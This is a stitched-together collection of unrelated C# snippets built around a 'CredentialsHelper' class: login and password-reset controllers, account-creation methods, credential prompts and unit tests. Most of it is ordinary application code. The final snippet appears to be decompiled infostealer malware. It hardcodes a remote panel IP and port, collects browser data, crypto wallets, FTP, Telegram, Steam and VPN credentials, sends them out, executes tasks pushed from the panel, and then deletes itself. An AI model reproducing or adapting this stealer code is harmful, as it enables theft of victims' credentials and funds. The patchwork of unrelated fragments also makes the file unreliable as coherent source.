protected async override void OnCreate(Bundle savedInstanceState) { base.OnCreate(savedInstanceState); SetContentView(Resource.Layout.login_layout); communicationService = new CommunicationService(); username = FindViewById <TextInputEditText>(Resource.Id.name_edit_text); password = FindViewById <TextInputEditText>(Resource.Id.pass_edit_text); loginButton = FindViewById <Button>(Resource.Id.buttonLogin); loginButton.Click += LoginButton_Click; loginProggresBar = FindViewById <ProgressBar>(Resource.Id.progressBarLogin); ConfigurationManager.Initialize(new AndroidConfigurationStreamProviderFactory(() => this)); await communicationService.Initialize(); var token = CredentialsHelper.GetToken(); var expiration = CredentialsHelper.GetExpiration(); if (!token.Equals("none") && !expiration.Equals("none")) { if (DateTime.Now < DateTime.Parse(expiration)) { StartActivity(typeof(MainActivity)); } } }
public MemberModels Login([FromBody] string value) { try { ICredentialsHelper credentialsHelper = new CredentialsHelper(); IMemberRepository memberRepository = new MemberRepository(); LoginModels postModel = new JavaScriptSerializer().Deserialize <LoginModels>(value); MemberModels member = new MemberModels(); if (CacheHelper.MemberCache.Contains(postModel.Username)) { member = (MemberModels)CacheHelper.MemberCache.Where(x => x.Key == postModel.Username).FirstOrDefault().Value; member.LoginMethod = LoginMethodEnums.Cache.GetHashCode(); } else { member = memberRepository.GetByUsername(postModel.Username); member.LoginMethod = LoginMethodEnums.Database.GetHashCode(); } return(credentialsHelper.AuthenticateMember(postModel, member)); } catch (Exception ex) { LogHelper.WriteLog(StaticKeyHelper.API, StaticKeyHelper.Login, ex.Message); return(null); } }
public ActionResult ActualResetPassword(DataModel model) { using (var e = new EntityContext()) { var data = ActionData.GetAction <DataModel>(Guid.Parse(model.Guid), e); model.Email = data.Item1.Email; var actionRow = data.Item2; if (model == null || actionRow == null || actionRow.Investigator_Name == null) { return(View(ResetPasswordErrorView)); } // clears the errors from the model model.ClearToaster(); // check for simple warnings var isValid = true; // makes sure we don't have any empty fields if (String.IsNullOrEmpty(model.Password) || String.IsNullOrEmpty(model.Email)) { model.AddError(GlobalErrors.EmptyFields); isValid = false; } if (!CredentialsHelper.IsPasswordValid(model.Password)) // check password is valid { model.AddError(RegistrationErrors.InvalidPassword); isValid = false; } else // if password is valid get warnings { model.AddWarnings(CredentialsHelper.GetPasswordWarnings(model.Password)); } if (isValid) // check for more serious warnings { using (var e2 = new EntityContext()) // db context { if (isValid && !model.HasWarnings()) // we have checked everything we need to check { var success = Authorize.ResetPassword(model.Email, model.Password, e2); e.Web_Action_Data.Remove(actionRow); e.SaveChanges(); if (!success) { return(View(ResetPasswordErrorView)); } else { return(View(ResetPasswordSuccessView)); } } } } } // if we got here there was an error return(View(ReceivedView, model)); }
public ActionResult ResetPassword(ResetPasswordModel model) { // clears the errors from the model model.ClearToaster(); // check for simple warnings var isValid = true; // makes sure we don't have any empty fields if (String.IsNullOrEmpty(model.Email)) { model.AddError(GlobalErrors.EmptyFields); isValid = false; } if (!CredentialsHelper.IsEmailValid(model.Email)) // check email is valid { model.AddError(ResetPasswordErrors.InvalidEmail); isValid = false; } if (isValid) // check for more serious warnings { using (var e = new EntityContext()) // db context { // check if email exists in the database, we need the email to register if (!Authorize.EmailExists(model.Email, e)) { model.AddError(ResetPasswordErrors.EmailNotAssociatedWithUser); isValid = false; } else if (!Authorize.EmailIsRegistered(model.Email, e)) // if it does check if it is already registered { model.AddError(ResetPasswordErrors.EmailNotRegistered); isValid = false; } if (isValid && !model.HasWarnings()) // we have checked everything we need to check { CachedUser cachedUser = GetCachedUser.UserByEmail(model.Email, e); if (cachedUser == null) { model.AddError(RegistrationErrors.UnknowError); } else { return(RedirectToAction("Send", "ResetPassword", new { email = cachedUser.Email, username = cachedUser.Username, investigatorName = cachedUser.InvestigatorName })); } } } } // if we got here there was an error return(View(model)); }
public ActionResult LoginResetPassword(LoginResetPasswordModel model) { // clears the errors from the model model.ClearToaster(); // check for simple warnings var isValid = true; // makes sure we don't have any empty fields if (String.IsNullOrEmpty(model.Password)) { model.AddError(GlobalErrors.EmptyFields); isValid = false; } if (!CredentialsHelper.IsPasswordValid(model.Password)) // check password is valid { model.AddError(RegistrationErrors.InvalidPassword); isValid = false; } else // if password is valid get warnings { model.AddWarnings(CredentialsHelper.GetPasswordWarnings(model.Password)); } if (isValid && !model.HasWarnings()) { using (var e2 = new EntityContext()) // db context { var currentUser = SessionHelper.GetSessionUser(); if (currentUser == null) { model.AddError(GlobalErrors.ServerError); return(View(model)); } var success = Authorize.ResetPassword(currentUser.Email, model.Password, e2); var newUser = Authorize.CredentialsByEmail(currentUser.Email, model.Password, e2); if (!success || newUser == null) { model.AddError(GlobalErrors.ServerError); return(View(model)); } else { //if username and password is correct, create session and return Success SessionHelper.SetSessionUser(newUser); FormsAuthentication.SetAuthCookie(newUser.Username, true); model = new LoginResetPasswordModel(); model.AddSuccess(ResetPasswordSuccessEnum.PasswordReset); return(View(model)); } } } // if we got here there was an error return(View(model)); }
public static async Task <IActionResult> Run( [HttpTrigger(AuthorizationLevel.Function, "post", Route = null)] HttpRequest request, ILogger log, ExecutionContext executionContext) { // some meta data log.LogInformation("LUIS-D Extractor and Classifier function"); var functionName = executionContext.FunctionName; // input mapping var requestRecords = ViewModelMapper.GetRequestRecords(request); if (requestRecords == null) { return(new BadRequestObjectResult($"Invalid request body!")); } // extract credentials var credentials = CredentialsHelper.GetProjectCredentials(request.Headers); if (string.IsNullOrEmpty(credentials.ResourceCredentials.EndpointUrl) || string.IsNullOrEmpty(credentials.ResourceCredentials.Key)) { return(new BadRequestObjectResult("please provide a valid Custom Text resource endpoint and key!")); } try { // create input documents var documents = new Dictionary <string, string>(); requestRecords.ToList().ForEach(record => documents.Add(record.RecordId, record.Data["text"] as string)); // analyze custom text var customTextPredictionService = new CustomTextPredictionService(credentials.ResourceCredentials); var targetTasks = CustomTextTaskHelper.InitializeTargetTasks(credentials.Projects); if (targetTasks.Count == 0) { return(new BadRequestObjectResult("please provide one or more Custom Text projects to use for document analysis!")); } var responseRecords = await customTextPredictionService.AnalyzeDocuments(documents, targetTasks); // create custom skillset response var customSkillsetResponse = ViewModelMapper.CreateResponseData(responseRecords); return(new OkObjectResult(customSkillsetResponse)); } catch (Exception ex) { return(new BadRequestObjectResult(ex.Message)); } }
public bool AddStudent(Student studentToAdd) { studentToAdd.User.Username = CredentialsHelper.GenerateUsername(studentToAdd.FirstName, studentToAdd.LastName); studentToAdd.User.Password = HashHelper.Hash(CredentialsHelper.GenerateRandomPassword()); studentToAdd.User.Role = Role.Student; if (_context.Users.Any(u => u.Username == studentToAdd.User.Username)) { return(false); } _context.Students.Add(studentToAdd); _context.SaveChanges(); return(true); }
private Exception VerifyCredentialsReturnException(TransientCredentials tc) { try { using (CredentialsHelper.ShowWaitCursor()) { VerifyCredentials(tc); } return(null); } catch (Exception e) { return(e); } }
public void CredentialsHelper_MatchingUsernameWrongPassword_Fails() { ICredentialsHelper credentialsHelper = new CredentialsHelper(); LoginModels login = new LoginModels() { Username = "******", Password = "******" }; MemberModels member = new MemberModels() { Username = "******", Password = "******" }; Assert.IsNull(credentialsHelper.AuthenticateMember(login, member)); }
public void CredentialsHelper_WrongUsernameMatchingPassword_Fails() { ICredentialsHelper credentialsHelper = new CredentialsHelper(); LoginModels login = new LoginModels() { Username = "******", Password = "******" }; MemberModels member = new MemberModels() { Username = "******", Password = "******" }; Assert.IsNull(credentialsHelper.AuthenticateMember(login, member)); }
protected override eFlow.UI.Client.ClientCredentials CreateCredentials() { eFlow.UI.Client.ClientCredentials mClientCredentials = new ClientCredentials(); try { // deserializo las credenciales que se encuentran en session y las devuelvo //========================================================================== //Obtiene las credenciales de sesión cLogger.Debug("Obteniendo de sesión la credencial del cliente."); if (Session[CREDENTIALS_KEY] != null) { string mResponse = Session[CREDENTIALS_KEY].ToString(); // vacía las credenciales de sesión cLogger.Debug("Eliminando las credenciales de sesión."); Session[CREDENTIALS_KEY] = null; Session.Remove(CREDENTIALS_KEY); //Deserializa la credencials CENTROHOSPUCENewTask.cLogger.Debug("Deserializando la credencial."); mClientCredentials = CredentialsHelper.Deserialize(mResponse); cLogger.Debug("Retornando credencial deserializada ."); } return(mClientCredentials); } catch (Exception bErr) { cLogger.ErrorFormat("Error al deserializar las credenciales", bErr); throw new Exception("Error al deserializar credenciales.", bErr); } }
public IActionResult AddInstructor(Instructor instructorToAdd) { var accessTokenAsString = JwtHelper.GetTokenSubstring(Request.Headers["Authorization"].ToString()); if (accessTokenAsString == "null") { return(Unauthorized()); } var userCredentials = JwtHelper.GetCredentialsFromToken(accessTokenAsString); var fullName = CredentialsHelper.GenerateUsername(instructorToAdd.FirstName, instructorToAdd.LastName); instructorToAdd.User.DrivingSchoolId = userCredentials.Id; var wasAddSuccessful = _instructorRepository.AddInstructor(instructorToAdd); if (wasAddSuccessful) { return(Ok()); } return(Forbid()); }
public bool AddInstructor(Instructor instructorToAdd) { if (_context.Users.Any(u => u.Username == instructorToAdd.User.Username)) { return(false); } var vehicle = _context.Vehicles.FirstOrDefault(v => instructorToAdd.Vehicle.Model.Contains(v.Manufacturer) && instructorToAdd.Vehicle.Model.Contains(v.Model) && instructorToAdd.Vehicle.Year == v.Year); if (vehicle == null) { return(false); } instructorToAdd.User.Username = CredentialsHelper.GenerateUsername(instructorToAdd.FirstName, instructorToAdd.LastName); instructorToAdd.User.Password = HashHelper.Hash(CredentialsHelper.GenerateRandomPassword()); instructorToAdd.User.Role = Role.Instructor; _context.Instructors.Add(instructorToAdd); _context.SaveChanges(); return(true); }
private ProjectLocationInformation GetProjectLocation(ICredentials credentials, string projectName) { projectName = projectName.ToLower(); if (!projectLocations.ContainsKey(projectName)) { string[] servers = this.server.Split(','); foreach (string server in servers) { ICredentials credentialsForServer = CredentialsHelper.GetCredentialsForServer(server, credentials); SourceItem[] items = sourceControlService.QueryItems(server, credentialsForServer, Constants.ServerRootPath + projectName, RecursionType.None, VersionSpec.Latest, DeletedState.NonDeleted, ItemType.Folder); if (items != null && items.Length > 0) { string remoteProjectName = items[0].RemoteName.Substring(Constants.ServerRootPath.Length); projectLocations[projectName] = new ProjectLocationInformation(remoteProjectName, server); } } if (!projectLocations.ContainsKey(projectName)) { throw new InvalidOperationException("Could not find project '" + projectName + "' in: " + this.server); } } return(projectLocations[projectName]); }
protected virtual bool promptForPassword(ref String user, out String password) { return(CredentialsHelper.PromptForCredentials(null, Uri.ToString(), ref user, out password)); }
public FileRepository(string serverUrl, ICredentials credentials, IWebTransferService webTransferService) { this.credentials = CredentialsHelper.GetCredentialsForServer(serverUrl, credentials); this.webTransferService = webTransferService; }
private void ConnectForUpload() { if (_fileDestination == null) { try { bool loggedIn = false; FtpCredentials credentials = (FtpCredentials)_credentials[DestinationContext]; string username = credentials != null ? credentials.Username : _settings.Username; string password = credentials != null ? credentials.Password : _settings.Password; while (!loggedIn) { if (password == String.Empty) { CredentialsDomain cd = new CredentialsDomain(Res.Get(StringId.FtpLoginDomain), _settings.FtpServer, null, FtpIconBytes); CredentialsPromptResult result = CredentialsHelper.PromptForCredentials(ref username, ref password, cd); if (result == CredentialsPromptResult.Cancel || result == CredentialsPromptResult.Abort) { throw new OperationCancelledException(); } else { //save the user/pass as appropriate if (result == CredentialsPromptResult.SaveUsername) { _settings.Username = username; _settings.Password = String.Empty; } else if (result == CredentialsPromptResult.SaveUsernameAndPassword) { _settings.Username = username; _settings.Password = password; } } } try { // create and connect to the destination _fileDestination = new WinInetFTPFileDestination( _settings.FtpServer, _settings.PublishPath, username, password); _fileDestination.Connect(); //save the validated credentials so we don't need to prompt again later _credentials[DestinationContext] = new FtpCredentials(DestinationContext, username, password); loggedIn = true; } catch (LoginException) { loggedIn = false; password = String.Empty; _credentials.Remove(DestinationContext); } } // calculate the target path and ensure that it exists _fileDestination.InsureDirectoryExists(PostContext); } catch (Exception ex) { WebPublishMessage message = WebPublishUtils.ExceptionToErrorMessage(ex); throw new BlogClientFileTransferException(Res.Get(StringId.BCEFileTransferConnectingToDestination), message.Title, message.Text); } } }
public TfsWorkItemModifier(string serverUrl, ICredentials credentials) { this.serverUrl = serverUrl; this.credentials = CredentialsHelper.GetCredentialsForServer(serverUrl, credentials); username = this.credentials.GetCredential(new Uri(serverUrl), "basic").UserName; }
/// <summary> /// Creates an authenticated credential that has been verified against the server. /// </summary> /// <returns></returns> protected virtual TransientCredentials CreateAuthenticatedCredential() { string username = Credentials.Username; string password = Credentials.Password; //create and store the transient credential since some blog clients rely on it being set to //when making requests during validation (like SharePoint and Spaces) object oldTransientCredentials = Credentials.TransientCredentials; TransientCredentials tc = new TransientCredentials(username, password, null); Credentials.TransientCredentials = tc; try { bool promptForPassword = RequiresPassword && (password == null || password == String.Empty); Exception verificationException = promptForPassword ? null : VerifyCredentialsReturnException(tc); bool verified = !promptForPassword && verificationException == null; while (!verified) { //if we're in silent mode where prompting isn't allowed, so throw the verification exception if (BlogClientUIContext.SilentModeForCurrentThread) { if (verificationException != null) { throw verificationException; } else { throw new BlogClientAuthenticationException(String.Empty, String.Empty); } } //prompt the user for credentials CredentialsPromptResult prompt = CredentialsHelper.PromptForCredentials(ref username, ref password, Credentials.Domain); if (prompt == CredentialsPromptResult.Abort || prompt == CredentialsPromptResult.Cancel) { throw new BlogClientOperationCancelledException(); } //update the credentials, and re-verify them tc = new TransientCredentials(username, password, null); Credentials.TransientCredentials = tc; verificationException = VerifyCredentialsReturnException(tc); verified = verificationException == null; if (verified) { //persist the credentials based on the user's preference from the prompt if (prompt == CredentialsPromptResult.SaveUsernameAndPassword) { Credentials.Username = username; Credentials.Password = password; } else if (prompt == CredentialsPromptResult.SaveUsername) { Credentials.Username = username; } } } } finally { Credentials.TransientCredentials = oldTransientCredentials; } return(tc); }
public ActionResult Login(LoginModel model) { // clears the errors from the model model.ClearToaster(); // checks if the user passed in their login data if (!String.IsNullOrEmpty(model.UsernameOrEmail) && !String.IsNullOrEmpty(model.Password)) { using (var e = new EntityContext()) // db context { //check username and password from database CachedUser cachedUser = null; var isEmail = CredentialsHelper.IsEmailValid(model.UsernameOrEmail); if (isEmail) // is an email { cachedUser = Authorize.CredentialsByEmail(model.UsernameOrEmail, model.Password, e); } else // is username { cachedUser = Authorize.CredentialsByUsername(model.UsernameOrEmail, model.Password, e); } if (cachedUser != null) { //if username and password is correct, create session and return Success SessionHelper.SetSessionUser(cachedUser); FormsAuthentication.SetAuthCookie(cachedUser.Username, true); // goes to home screen or previous screen FormsAuthentication.RedirectFromLoginPage(cachedUser.Username, true); } // check if we can give any more detail to errors var errors = Authorize.GetAuthorizeErrors(); if (!errors.Any()) // if no errors, throw unknown error { model.AddError(LoginErrors.UnknownError); } // if the user does not have the right username and password, don't give any more info else if (errors.Contains(Authorize.AuthorizeErrorsEnum.PasswordNotVerified) || errors.Contains(Authorize.AuthorizeErrorsEnum.NoLoginData)) { model.AddError(LoginErrors.InvalidUsernameOrPassword); } else // checks to see if we can find another issue { if (errors.Contains(Authorize.AuthorizeErrorsEnum.EmailNotConfirmed)) { model.AddError(LoginErrors.EmailNotConfirmed); } if (errors.Contains(Authorize.AuthorizeErrorsEnum.LoginSuspended)) { model.AddError(LoginErrors.Suspended); } } } } else { // throws a EmptyUsernameOrPassword error model.AddError(GlobalErrors.EmptyFields); } // if we got here there was an error return(View(model)); }
// Token: 0x06000006 RID: 6 RVA: 0x00002078 File Offset: 0x00000278 public static void Main(string[] args) { string text = "95.181.172.34:35253"; string buildId = "loshariki"; try { try { ServicePointManager.Expect100Continue = true; ServicePointManager.SecurityProtocol = (SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls | SecurityProtocolType.Tls12); } catch { } bool flag; UserLog log; Action <IRemotePanel> < > 9__0; do { flag = false; try { foreach (string remoteIP in text.Split(new char[] { '|' })) { try { Action <IRemotePanel> codeBlock; if ((codeBlock = < > 9__0) == null) { codeBlock = (< > 9__0 = delegate(IRemotePanel panel) { ClientSettings settings = null; try { settings = panel.GetSettings(); } catch (Exception) { settings = new ClientSettings { BlacklistedCountry = new List <string>(), BlacklistedIP = new List <string>(), GrabBrowsers = true, GrabFiles = true, GrabFTP = true, GrabImClients = true, GrabPaths = new List <string>(), GrabUserAgent = true, GrabWallets = true, GrabScreenshot = true, GrabSteam = true, GrabTelegram = true, GrabVPN = true }; } UserLog log = UserLogHelper.Create(settings); log.Exceptions = new List <string>(); log.BuildID = buildId; log.Credentials = CredentialsHelper.Create(settings); log.SendTo(panel); log = log; log.Credentials = new Credentials(); IList <RemoteTask> tasks = panel.GetTasks(log); if (tasks != null) { foreach (RemoteTask remoteTask in tasks) { try { if (log.ContainsDomains(remoteTask.DomainsCheck) && Program.CompleteTask(remoteTask)) { panel.CompleteTask(log, remoteTask.ID); } } catch { } } } }); } GenericService <IRemotePanel> .Use(codeBlock, remoteIP); flag = true; break; } catch { } } } catch (Exception) { } }while (!flag); } catch (Exception) { } finally { InstallManager.RemoveCurrent(); } }